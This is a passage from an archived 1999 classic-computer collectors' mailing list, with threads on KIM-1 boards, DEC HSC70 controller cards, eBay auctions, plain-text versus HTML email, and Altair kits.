manuals! I have several of the Silent 700's but this is the first manuals I have seen for the unit. There are still a number of bankers boxes full of documentation that I will be picking up in the future. Re: the Kim-1, there was also Educassette Computer Aid Digital Data Recorder with docs that is believed to have gone with the Kim-1. It looks like a neat system and the description reads "Uses the industry standard tape saturation method to beat all FSK systems ten to one. No modems or FSK decoders required. Loads 8K of memory in 17 seconds ..." There is a tape in it labeled 8080 software. I suspect the tape at least was not used in the Kim-1 :). From marvin at rain.org Thu Jan 7 11:37:46 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:39:51 2005 Subject: Ebay: Popular Electronics References: <199901071622.LAA15520@user2.infinet.com> Message-ID: <3694F0EA.953699D6@rain.org> The July - December issues have no bids yet, and a starting bid of $2.00. The auction ends in just under two hours from now. The URL is: http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=52895284 From mtapley at swri.edu Thu Jan 7 12:06:14 1999 From: mtapley at swri.edu (Mark Tapley) Date: Sun Feb 27 18:39:51 2005 Subject: Cosmic Rays, other Plasma, and finds In-Reply-To: <199901070802.AAA10499@lists5.u.washington.edu> Message-ID: All, Right here in Figure 5-6 of NASA's Technical Memorandum 4527, Natural Orbital Environment Guidelines for Use in Aerospace Vehicle Development, it shows that the Cosmic Ray environment is actually *less* severe during a solar Maximum than during a solar Minimum. Note that the effect only applies to rays with energy lower than appx. 10,000 MeV/nucleon, and these would probably be screened out by the atmosphere anyway for a surface observer or classic computer. The rays packing more than 10,000 MeV/nucleon are unaffected by solar max/min. I surmise that when the sun is putting out lots and lots of protons, the extra protons form an additional layer around the inner solar system and screen out some of the cosmic rays. Of course, this means that though there are fewer (low-energy) cosmic rays, there are more solar protons - but their energy distribution falls off rapidly above 10,000 MeV/nucleon (per Figure 5-7c). The bottom line is that unless your classic computer is on orbit, you won't see any particle radiation effects from solar max. Magnetic storms affecting power distribution grids, particlarly far north, quite possibly. On another topic, I salute Captain Napalm for his multiply-encoded message. Chuck, I disagree with you with less vehemence than he - I'd rather see text messages myself - but that was a *hilarious* rejoinder. Well said, er, shown, er, put. On yet another topic: I spotted about a month ago (and finally found my notes) the following gear at a local electronics shop (A-Tex, near the airport in San Antonio, Texas). 2 ea. HP 1615 A Logic Analyzer $31 4 ea. HP 1610 B Logic Analyzer $31 1 ea. Tek. 4105 Monitor $10 1 ea. Tek. 4404 Monitor $10 1 ea. Tek. 4025 Terminal $10 1 ea. HP 1611A logic state analyzer $?? (not marked) Each unit was about the size of a CRT terminal. The 1611 looked like it might be an in-circuit emulator for a Z-80 based on some other text on it. Conditions all unknown, no probes or accessories or manuals. Outsides were dirty and scarred, with some keycaps gone on the terminal. A) What are Logic Analyzers? (This is an embarassing question. No need to coddle me with a long answer, something like "please go *open* the Horowitz and Hill on your bookshelf" could serve.) Anybody know the frequency ranges for these particular units? Could I have fun probing the inside of my Rainbow or Mac Plus with them? Could I have fun probing My friends' PowerPC computers? Are these good prices, assuming they work? B) What do accessories for the logic analyzers (like probes) cost? Can I still get manuals? How could I test these in-situ? C) Is anybody interested enough in any of them to have me pick one up at my next opportunity and ship it (your expense for shipping, could be some time before I can get there and they might be gone already, etc. disclaimer etc.) Thanks in advance on A) and B), and please contact me seperately on C). - Mark From sinasohn at ricochet.net Thu Jan 7 12:34:22 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:39:51 2005 Subject: That does not compute Message-ID: <3.0.16.19990106195911.58c767f4@ricochet.net> At 01:37 PM 1/1/99 +1100, you wrote: >somewhere, the words "that does not compute" in a silly monotonic >computer-like voice. Annoyed the hell out of me! Was it just me this Remember how hilarious it was back then when Scotty picked up the mouse and said "com-PUT-er..."? --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From dastar at ncal.verio.com Thu Jan 7 12:50:40 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:52 2005 Subject: Ebay: Popular Electronics In-Reply-To: <3694F0EA.953699D6@rain.org> Message-ID: On Thu, 7 Jan 1999, Marvin wrote: > The July - December issues have no bids yet, and a starting bid of $2.00. > The auction ends in just under two hours from now. The URL is: > > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=52895284 Hey, don't ruin this for good old Jim Willing! Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From marvin at rain.org Thu Jan 7 12:57:56 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:39:52 2005 Subject: Ebay: Popular Electronics References: Message-ID: <369503B4.64EDFB73@rain.org> Sam Ismail wrote: > > > The July - December issues have no bids yet, and a starting bid of $2.00. > > The auction ends in just under two hours from now. The URL is: > > > > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=52895284 > > Hey, don't ruin this for good old Jim Willing! Hey, there were no bids when I posted it! I was hoping that someone here would get them! From jimw at agora.rdrop.com Thu Jan 7 13:00:13 1999 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:39:52 2005 Subject: Ebay: Popular Electronics In-Reply-To: Message-ID: On Thu, 7 Jan 1999, Sam Ismail wrote: > On Thu, 7 Jan 1999, Marvin wrote: > > > The July - December issues have no bids yet, and a starting bid of $2.00. > > The auction ends in just under two hours from now. The URL is: > > > > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=52895284 > > Hey, don't ruin this for good old Jim Willing! Must mean he read Marvin's message a minute or two after I did... B^} -jim --- jimw@agora.rdrop.com The Computer Garage - http://www.rdrop.com/~jimw Computer Garage Fax - (503) 646-0174 From cmcmanis at freegate.com Thu Jan 7 13:14:26 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:39:52 2005 Subject: Sociology and Message formatting In-Reply-To: References: <199901070802.AAA10499@lists5.u.washington.edu> Message-ID: <4.1.19990107102813.00a5bea0@mailhost.hq.freegate.com> I've been reading the responses to the message text question and have enjoyed them immensely. I particularly enjoy the more clever rejoinders. Now that you have all thought about this for a minute, take your view and widen it up to include a lot more history. This list is a community, joined by technology, sharing a common passion for a particular topic (in this case classic computers.) New technology is continuously being introduced and when it reaches a point where the community experience is "better" with the new technology than it is with the old, the community will move. I make this statement based on the following reasoning. First, lets clearly define what we've got here. I've chosen to call it a "Global Community of Common Interest" (GCCI). I define such a community as a collection of people who are geographically distributed around the planet and bound together by only a common interest and a communication mechanism (the Commons if you will). This sociological phenomena is a globalized instantiation of the local phenomena known as a "club" or "society." The latter having existed throughout recorded history, the former having come into existence in the 20th century with the development of the first global communication technology, the mail. If we existed in the 40's and 50's we would probably all get the "Classic Computer Newsletter" via First Class mail. In the 60's and 70's the "cool" communication technology of choice was amateur radio. In the 80's many GCCIs formed using dial up bulletin boards, and in the 90's the Internet and SMTP mailing lists became the technology of choice. I've participated in GCCIs using all of the above technologies and experienced "community drift" in all of them. Community drift occurs when members of the community begin to use a different technology base in preference to the existing base for the commons. Once started the drift tends to increase until the entire community has shifted. I don't know how many radio operators I heard complaining about "why should I dial up some BBS when we could just chat on 10 meters?" The answer was time shifting. The move to the internet from BBSes was cost. The move from plain text to HTML is being motivated by the ability to communicate more clearly. I particularly liked the "you American's assume everyone has high speed access" rant. I'm actually the worst kind of technocrat here because I'm sitting right smack in the middle of the mecca of high tech and using technologies that may never escape the San Francisco Bay area into the mainstream. However, one need only compare that comment to the BBS'ers comments of the FIDO days which went something like, "You guys are so arrogant, you assume everyone has Internet access." to understand just how irrelevant such a stance is. The world moves, no one understands this better than computer collectors. You *will* get high speed affordable internet access. You may get it much later than other parts of the world but I can recognize a steam roller when I see it. You got a telephone right? And then FAX machines etc, etc. The world *will* move away from plain ASCII into something more expressive. So, what's the bottom line? Things change I guess. Not too profound I know but it sure is useful to watch. And its a lot more fun then talking about Y2K ;-) --Chuck From ckaiser at oa.ptloma.edu Thu Jan 7 13:28:30 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:39:52 2005 Subject: Sociology and Message formatting In-Reply-To: <4.1.19990107102813.00a5bea0@mailhost.hq.freegate.com> from "Chuck McManis" at Jan 7, 99 11:14:26 am Message-ID: <199901071928.LAA23792@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 758 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990107/469ad14c/attachment.ksh From yowza at yowza.com Thu Jan 7 13:49:31 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:52 2005 Subject: A new Altair record price In-Reply-To: <3694DC9A.EB945A50@rain.org> Message-ID: On Thu, 7 Jan 1999, Marvin wrote: > Or partially assembled one! I saw the photos and was kind of wondering what > the story is. Perhaps I missed something in my quick glance, but I didn't > see any boards mentioned, and just some photos of what looked like an > assembled box, and a bunch of parts. A closer look would have shown that the front-panel, power supply, motherboard, CPU card, and RAM card were assembled. That doesn't leave much left to assemble :-) The mobo only has two slots (out of four), but that's all you need for a working system. -- Doug From cmcmanis at freegate.com Thu Jan 7 13:59:19 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:39:52 2005 Subject: There is another system ... In-Reply-To: <199901071928.LAA23792@oa.ptloma.edu> References: <4.1.19990107102813.00a5bea0@mailhost.hq.freegate.com> Message-ID: <4.1.19990107115859.00a3b650@mailhost.hq.freegate.com> http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=54557482 From ai705 at osfn.org Thu Jan 7 14:12:45 1999 From: ai705 at osfn.org (Stephen Dauphin) Date: Sun Feb 27 18:39:52 2005 Subject: Sociology and Message formatting In-Reply-To: <4.1.19990107102813.00a5bea0@mailhost.hq.freegate.com> Message-ID: On Thu, 7 Jan 1999, Chuck McManis wrote: > I particularly enjoy the more clever rejoinders. > > Now that you have all thought about this for a minute, take your view and > widen it up to include a lot more history. > > The move to the internet from BBSes was cost. The move from plain text to > HTML is being motivated by the ability to communicate more clearly. > Huh?? These messages are memos. They are not books or a digital equivalent. Some are informative and are worth archiving, but most like this note have a shelf life of less than a week. Are you really looking forward to the day when everyone will be able to foist a time wasting video production on their email recipient? If prearranged from well chosen friends, I'd probably take it, but not from a forum like this. I think most on the list will agree - ascii or some sort of friendly equivalent like iso-Latin. The way things are going, someday you will pine for the time (like now) when spam was so simple. -- Stephen Dauphin From eric at fudge.uchicago.edu Thu Jan 7 14:56:04 1999 From: eric at fudge.uchicago.edu (Eric Fischer) Date: Sun Feb 27 18:39:52 2005 Subject: Message formats In-Reply-To: <199901070327.WAA09214@armigeron.com> References: <199901070327.WAA09214@armigeron.com> Message-ID: <199901072056.OAA10491@fudge.uchicago.edu> > From: "Sean 'Captain Napalm' Conner" > > > And while we're at it, why don't we complain about a single '.' on a line, > > or starting a line with "From" :-) > > You can thank Eric Allman for those blunders. RFC822 specifically state > that the SMTP server is to NOT modify the email as it goes through (as long > as it conforms to the standard US 7-bit ASCII character set. Anything > outside of the 7-bit ASCII character set is implementation dependant and > anything goes). But in order to remain compatible with existing Unix > software, lines starting with 'From ' had to be ``quoted'' else mail reading > agents would get horribly confused You can't really blame Eric Allman and sendmail for that -- the mbox format was already established years before sendmail (or RFC822) was written. And it *was* a reasonable format in the early versions of Unix, when the mail command just printed out the entire mail file rather than having commands to deal with individual messages. It should have been fixed in version 7, but it wasn't, so we're still stuck with it. Even so, it's not sendmail that does the quoting, unless you specifically configure it to do so. My mail all goes through sendmail, but since it goes directly (via procmail) into MH-format folders, lines beginning with From make it through without getting mangled. > (why they stored email in a single file is anybody's guess. I assume > because early Unix systems couldn't deal with dozens or hundreds of > files in a directory). I imagine it was for efficiency of storage, assuming it had occurred to anyone to even try delivering mail to multiple files. When you have small disks and lots of users, you don't want to waste an inode and an average of half a block of disk space on every single message. Eric (not Allman) From cmcmanis at freegate.com Thu Jan 7 15:10:52 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:39:52 2005 Subject: Sociology and Message formatting In-Reply-To: References: <4.1.19990107102813.00a5bea0@mailhost.hq.freegate.com> Message-ID: <4.1.19990107130349.00aa6610@mailhost.hq.freegate.com> At 03:12 PM 1/7/99 -0500, Stephen Dauphin wrote: > ... I think most on the list will agree - ascii or some >sort of friendly equivalent like iso-Latin. Stephen's message got me thinking that we were talking about two very different things. As anyone on this list can tell, I've never sent anything but plain e-mail this list and won't until the list changes. Imagine you go to a party, everyone is speaking English but you find two or three friends you know who speak French. You could stand there and talking and joking in French while the people around you got annoyed, or you could speak English like everyone else and be polite. I try to be polite. My comments on this topic however would be akin to saying, "You know, more and more people can speak French fluently theses days, I wouldn't be suprised if the language spoken at these parties will just be French in a couple of years." More and more people can both receive HTML and send it these days. Soon there will be new mailing lists where MOST people send HTML and occasionally some people send plain text. I don't advocate it for this list, nor do I mean to offend people who are afraid of this trend. I only observe it and report. Respectfully, --Chuck McManis From ard at p850ug1.demon.co.uk Thu Jan 7 13:28:13 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:52 2005 Subject: Cosmic Rays, other Plasma, and finds In-Reply-To: from "Mark Tapley" at Jan 7, 99 12:06:14 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3388 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990107/54e6a2e9/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jan 7 12:50:12 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:52 2005 Subject: Message formats In-Reply-To: <199901070229.SAA15142@geocities.com> from "Max Eskin" at Jan 6, 99 09:29:13 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3320 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990107/cf5b71e9/attachment.ksh From marvin at rain.org Thu Jan 7 15:17:46 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:39:52 2005 Subject: Ebay: Popular Electronics References: Message-ID: <3695247A.7A2B22DB@rain.org> Congratulations Jim on winning the bid! Not all rescues have to involve leaving the house :). James Willing wrote: > > On Thu, 7 Jan 1999, Sam Ismail wrote: > > > On Thu, 7 Jan 1999, Marvin wrote: > > > > > The July - December issues have no bids yet, and a starting bid of $2.00. > > > The auction ends in just under two hours from now. The URL is: > > > > > > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=52895284 > > > > Hey, don't ruin this for good old Jim Willing! > > Must mean he read Marvin's message a minute or two after I did... B^} From jimw at agora.rdrop.com Thu Jan 7 15:37:37 1999 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:39:52 2005 Subject: Ebay: Popular Electronics In-Reply-To: <3695247A.7A2B22DB@rain.org> Message-ID: On Thu, 7 Jan 1999, Marvin wrote: > Congratulations Jim on winning the bid! Not all rescues have to involve > leaving the house :). True... but you don't know the weekend adventure that is coming up... ...and thanks! -jim --- jimw@agora.rdrop.com The Computer Garage - http://www.rdrop.com/~jimw Computer Garage Fax - (503) 646-0174 From ard at p850ug1.demon.co.uk Thu Jan 7 16:52:59 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:52 2005 Subject: Sociology and Message formatting In-Reply-To: <4.1.19990107102813.00a5bea0@mailhost.hq.freegate.com> from "Chuck McManis" at Jan 7, 99 11:14:26 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 4277 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990107/84a4721b/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jan 7 16:54:53 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:52 2005 Subject: A new Altair record price In-Reply-To: from "Doug Yowza" at Jan 7, 99 01:49:31 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 461 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990107/20e79d6e/attachment.ksh From yowza at yowza.com Thu Jan 7 17:40:46 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:52 2005 Subject: Mathiputer Message-ID: Don't tell Andrew Davie, but I'm trying to compete with him in the realm of weird computing machines. I just took delivery of a Cybernetic Systems Mathiputer. It's a stupid odd-shaped math toy that quizes you on arithmetic. It looks like somebody took a steel globe, split it in half, and put the two halves back together inside out and sideways (hey, Chuck, I need a diagram here). It had LED's, incadescent lights, and three rotary switches for input. Weird enough? It appears to be from around 1974, and it's got several ceramic and gold Fairchild parts. Some are 3XXXDC series, such as 3807DC. Does this ring a bell for anybody? Was there a CPU or calc chip in that series? -- Doug From rigdonj at intellistar.net Thu Jan 7 20:20:15 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:39:52 2005 Subject: Altair kits?? In-Reply-To: Message-ID: <3.0.1.16.19990107202015.307ffa78@intellistar.net> At 10:36 AM 1/7/99 -0500, you wrote: >>QUESTION - to any of the folks out there who >>put these kits together originally... >>Is this the way you received them from MITS? >>With the front panel and/or the power supply >>pre-wired and assembled? I never built one from a kit but what I have been told MANY times is that the front panel and PS were customer assembled and the front panel was an absolute BITCH to build! Seems there was a mess of wires running from all those front panel swiches to the motherboard and it was hell to get them all connected correctly and to work in among all of them. Joe From netcafe at pirie.mtx.net.au Thu Jan 7 18:22:43 1999 From: netcafe at pirie.mtx.net.au (Computer Room Internet Cafe) Date: Sun Feb 27 18:39:52 2005 Subject: TV Licenses was Re: Message formats Message-ID: <01be3a9d$023a3c40$f17d38cb@netcafe.pirie.mtx.net.au> -----Original Message----- From: Tony Duell To: Discussion re-collecting of classic computers Date: Friday, 8 January 1999 8:43 Subject: Re: Message formats >Needless to say they didn't know. Nor do they know what license (if any) >is needed to receive amateur television... Can't help with the other examples, but IIRC, in days of old, when we had such things as TV licenses, it was still legal for an amateur (or non-amateur) to use amateur tv without a broadcast listeners license. The test was whether the tv transmission was on a normal broadcast channel and could be received on an unmodified tv. If it needed a separate rx then you didn't need a license. The PMG had just about lost interest in the whole concept of receiver licensing by this stage anyway, though they made a last attempt to get people to comply with a massive (for those times) tv and radio adverstising campaign which didn't really net too many more licenses. Shortly thereafter, they dropped the whole system. The only receivers that require a license these days are certain satellite systems (under some special circumstances). Otherwise you are free to look/listen to anything you like. (Except mobile phones - in theory) Cheers Geoff Roberts Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net.au From allisonp at world.std.com Thu Jan 7 18:36:02 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:39:52 2005 Subject: Altair kits?? Message-ID: <199901080036.AA12342@world.std.com> Banks do close inactive accounts. The process is called "Escheatment" (I think I've got that right), and the laws, which are vary specific, vary by state in the US and by whatever government entity elsewhere. The banks do not get to keep the money, however, it is (usually, anyway, again the laws vary) normally turned over to the state, where it remains available on some basis should it be claimed (which is fairly rare). -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990107/b6b90f81/attachment.html From yowza at yowza.com Thu Jan 7 19:22:42 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:52 2005 Subject: Old bank accounts In-Reply-To: <000701be3aa4$6c258b80$bdbb6420@barrysp2> Message-ID: 1 OK ~7 lines Text (charset: ISO-8859-1) 2 ~22 lines Text (charset: ISO-8859-1) ---------------------------------------- [Part 1, Text/PLAIN (charset: ISO-8859-1 "Latin 1") 7 lines] [Not Shown. Use the "V" command to view or save this part] [Part 2, Text/HTML (charset: ISO-8859-1 "Latin 1") 22 lines] [Cannot display this part. Press "V" then "S" to save in a file] Hi, Barry. Did you say something? -- Doug From rexstout at uswest.net Thu Jan 7 20:11:58 1999 From: rexstout at uswest.net (John Rollins) Date: Sun Feb 27 18:39:52 2005 Subject: DEC boards Message-ID: Picked up some more goodies, got a Plus+ Hardcard 40 hard drive(SMS OMTI chipset for the controller side! Maybe I can plug it into my Apollos...), and two DEC boards. The first one seems to be a CPU card,, it's part number is L0111. The second one looks like I/O or a drive controller, it's an L0101. I have no idea what they go into, but a glance at my PDP-11 card list has another Lxxxx on it, and it's a Vax card. So maybe I have some VAX cards? I don't know. Anyone know exactly what they are? I really doubt they'll plug into my PDP-11/84, but it might be a good idea to stop me before I try... :-) -------------------------------------------------------------- | http://members.tripod.com/~jrollins/index.html - Computers | | http://www.geocities.com/Area51/Lair/1681/ - Star Trek | | orham@qth.net list admin KD7BCY | | ham-mac@qth.net Portland, OR | -------------------------------------------------------------- From thompson at athenet.net Thu Jan 7 20:24:36 1999 From: thompson at athenet.net (Paul Thompson) Date: Sun Feb 27 18:39:52 2005 Subject: DEC boards In-Reply-To: Message-ID: I think these are HSC boards, probably a HSC70? L0111 = J-11 IO PROC L0101 = IPB CI CONTROL STORE & PACKET BUFF Paul On Thu, 7 Jan 1999, John Rollins wrote: > Picked up some more goodies, got a Plus+ Hardcard 40 hard drive(SMS OMTI > chipset for the controller side! Maybe I can plug it into my Apollos...), > and two DEC boards. The first one seems to be a CPU card,, it's part number > is L0111. The second one looks like I/O or a drive controller, it's an > L0101. I have no idea what they go into, but a glance at my PDP-11 card > list has another Lxxxx on it, and it's a Vax card. So maybe I have some VAX > cards? I don't know. Anyone know exactly what they are? I really doubt > they'll plug into my PDP-11/84, but it might be a good idea to stop me > before I try... :-) > > -------------------------------------------------------------- > | http://members.tripod.com/~jrollins/index.html - Computers | > | http://www.geocities.com/Area51/Lair/1681/ - Star Trek | > | orham@qth.net list admin KD7BCY | > | ham-mac@qth.net Portland, OR | > -------------------------------------------------------------- > > > From gareth.knight2 at which.net Thu Jan 7 20:16:36 1999 From: gareth.knight2 at which.net (Gareth Knight) Date: Sun Feb 27 18:39:52 2005 Subject: Banks Message-ID: <063601be3ab1$03f28380$626afea9@gaz> Philip.Belben@PowerTech.co.uk >AFAIK there is nothing in any contract I take out with a bank that says >that if I deposit money and leave it there for over 2 years they are >entitled to it. I come back 10 or 20 years later expecting to retrieve my >savings. Yes, I did this with my German bank account in 1995 having not >touched it since (I think) 1985. It was still there and I could still draw >money out when on holiday in Germany. When I was about 3 months old my parents opened an account with Barclays in my name with about ?2 in it. When I turned 12 the bank began to send me letters saying that, because of the interest gained I now had ?7. When I turned 16 the bank suddenly lost all information about me, resulting in the loss of that money. I'm not saying it's a great deal and it's not as if I spend sleepless nights worrying about it but I'd like to know where my money went and why did the account disappear. This type of thing does happen and the blame is usually placed on "computer error." The Y2k problem is just a convenient way of "accidentally" losing some of the information regarding many of the accounts that are considered non-active. -- Gareth Knight Amiga Interactive Guide | ICQ No. 24185856 http://welcome.to/aig | "Shine on your star" From rexstout at uswest.net Thu Jan 7 20:58:52 1999 From: rexstout at uswest.net (John Rollins) Date: Sun Feb 27 18:39:52 2005 Subject: DEC boards In-Reply-To: References: Message-ID: >I think these are HSC boards, probably a HSC70? OK, I found something reffering to a disk controller and some VAX/UNIX sites and various DEC resellers, so waht exactly is an HSC70? Sounds like some sort of HUGE disk controller system for a VAX... -------------------------------------------------------------- | http://members.tripod.com/~jrollins/index.html - Computers | | http://www.geocities.com/Area51/Lair/1681/ - Star Trek | | orham@qth.net list admin KD7BCY | | ham-mac@qth.net Portland, OR | -------------------------------------------------------------- From thompson at athenet.net Thu Jan 7 21:26:25 1999 From: thompson at athenet.net (Paul Thompson) Date: Sun Feb 27 18:39:52 2005 Subject: DEC boards In-Reply-To: Message-ID: Yes, a quite huge SDI disk/tape controller for CI adapter equipped VAX/Alpha. I have most of one around, in pieces. It has a power cord you could use as a leash for an elephant. It booted from 5 1/4 floppies (at least mine did) and ran a OS dedicated to serving disks to the VAX cluster. Like a larger/higher bandwith multiple device version of DEC's DSSI disks. Paul On Thu, 7 Jan 1999, John Rollins wrote: > >I think these are HSC boards, probably a HSC70? > OK, I found something reffering to a disk controller and some VAX/UNIX > sites and various DEC resellers, so waht exactly is an HSC70? Sounds like > some sort of HUGE disk controller system for a VAX... > > -------------------------------------------------------------- > | http://members.tripod.com/~jrollins/index.html - Computers | > | http://www.geocities.com/Area51/Lair/1681/ - Star Trek | > | orham@qth.net list admin KD7BCY | > | ham-mac@qth.net Portland, OR | > -------------------------------------------------------------- > > > From nerdware at laidbak.com Thu Jan 7 21:35:15 1999 From: nerdware at laidbak.com (Paul Braun) Date: Sun Feb 27 18:39:52 2005 Subject: Kim-1 Computer In-Reply-To: References: <002601be3a16$b89952a0$9ef438cb@a.davie> Message-ID: <199901080332.VAA32498@garcon.laidbak.com> Date sent: Thu, 7 Jan 1999 06:57:41 -0600 (CST) Send reply to: classiccmp@u.washington.edu From: Doug Yowza To: "Discussion re-collecting of classic computers" Subject: RE: Kim-1 Computer Originally to: Discussion re-collecting of classic computers > Mine is a late model S/N 6176, postage cancled on May 18, 1977. > >From the few data points so far, I'd say we've got monotonically > increasing serial numbers starting with 1. (Of course, if they were C > programmers, then the first one is S/N 0.) > > -- Doug OK. I had to look. My second KIM is #1051 with a Rev. A board. It has the white ceramic MOS chips. This one shows plenty of wear, however. It's mounted on a piece of masonite with a socket for the one edge connector, a little bracket for a couple of 1/8" phone plugs (tape connections), an expansion port (Centronics-type, I assume this is where it was cabled up to a modified Selectric) and a terminal strip for power. The LED's have had sockets installed under them, since I assume the originals burned out. The 6502 also is socketed. This KIM was used by Stan Ockers and Jim Butterfield while writing the "First Book of KIM". Stan would take it, in the little briefcase he gave me along with it, to a computer club meeting in Chicago where a guy had an IBM Selectric that he had modified to work as a printer. Stan would load the programs he, Jim, and their partner (sorry -- don't have my FBOK in front of me and the other name escapes me) had written, and then print them out on the Selectric. These printouts were then cut and pasted into the layout for the book. Is the bottom numbe on the die cover the date code? If so, my 6502 is dated 1576. The thing is, regardless of how much they sell for on e-pay, it means so much more to me that Stan sat down and talked to me for an hour and a half about the book and computing in those days and then gave me his KIM that I couldn't think about selling it. Paul Braun NerdWare -- The History of the PC and the Nerds who brought it to you. nerdware@laidbak.com www.laidbak.com/nerdware From meo at netads.com Thu Jan 7 21:58:07 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:52 2005 Subject: Intecolor/Compucolor Message-ID: <199901080358.VAA17583@wildride.netads.com> I'd really like to get hold of a functioning (or close) Compucolor or Intecolor from the early 80s. The ones we used at Georgia Tech were all in one unit (I think), a big color monitor console sort of thing, like God's own ADM3a, in technicolor. (I could be wrong, but that's what I seem to remember.) I'd prefer one with a disk drive. I think this was the coolest thing ever for learning graphics stuff. Anyone have one a mere mortal can afford? -Miles From yowza at yowza.com Thu Jan 7 23:01:45 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:52 2005 Subject: Mac vs. Beanies In-Reply-To: Message-ID: I assume everybody's seen the latest MacStuff. Apple has decided if they can't sell computers to computer users, they'll sell them to computer collectors. iMacs are now available in: Lime Strawberry Blueberry Grape Tangerine Collect the whole set! How long will it take them to give them names and birthdays and "retire" models once a month or so? -- Doug From healyzh at aracnet.com Fri Jan 8 00:14:18 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:39:52 2005 Subject: Mac vs. Beanies In-Reply-To: References: Message-ID: I was thinking of buying one of the new G3 Professional systems later this year, now I'm thinking of buying a G3 accelerator card for my 8500/180. All in all, the iMac really doesn't look that bad, if you ignore the colour scheme. However, the new professional case does. When I first saw a side shot of it I thought I was looking at a stylized representation of the processor. Besides, I can understand no serial ports or floppy on the consumer model, but on the professional model? All the expensive graphics tablets like my 12x12 are serial. At least they've still got a ADB port, they're actually includeing the iMac keyboard and mouse on the Pro model?!?!? I'm supposed to give up my Apple Extended Keyboard for that piece of S***? Zane >I assume everybody's seen the latest MacStuff. Apple has decided if they >can't sell computers to computer users, they'll sell them to computer >collectors. iMacs are now available in: > Lime > Strawberry > Blueberry > Grape > Tangerine > >Collect the whole set! How long will it take them to give them names and >birthdays and "retire" models once a month or so? > >-- Doug | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From jpl15 at netcom.com Fri Jan 8 00:10:19 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:39:52 2005 Subject: KIM-1 serial nos, etc. Message-ID: My first KIM-1 (from Computer Components, L.A., CA, in 1977) is marked much the same as Marvin describes: It is a MOS KIM, the component side has etched Rev. A, and beneath the KIM-1 logo is etched EC - 715. Beneath that is what looks like a round QC inspection stamp, ?CC 201 ECI in the circle. The earliest chip is a NatSemi LM565CN (7340). The 6102s are all '76, as are the 6502, and both 6530s. The solder side has that 'rubber stamp' looking number between the edge connectors: 3879 [*not* the date] in whitish ink, and to the right is a partially obscured stamp in black, ending in 15. Near the top right is another 'QC' stamp, a circle enclosing ACC, 201, ????. Below this is a partial sqaure stamp, barely readable, with the letters 'est' visible. Below *that* is a partial triangle stamp, not legible at all. Perhaps this will help others out there in dating KIMs.... I tried slicing into the card to count the rings, but the results were inconclusive. Cheers John From donm at cts.com Fri Jan 8 00:26:25 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:39:52 2005 Subject: Sociology and Message formatting In-Reply-To: Message-ID: On Thu, 7 Jan 1999, Tony Duell wrote: **** snip **** > I am not convinced html (or any other markup language) is more expressive > than plain text. Easier to be expressive in, possibly. But remember that > an awful lot of books have been written using just the characters on a > typewriter.... > > -tony ...or using quill pen and foolscap. I find it impossible to believe that the quality of 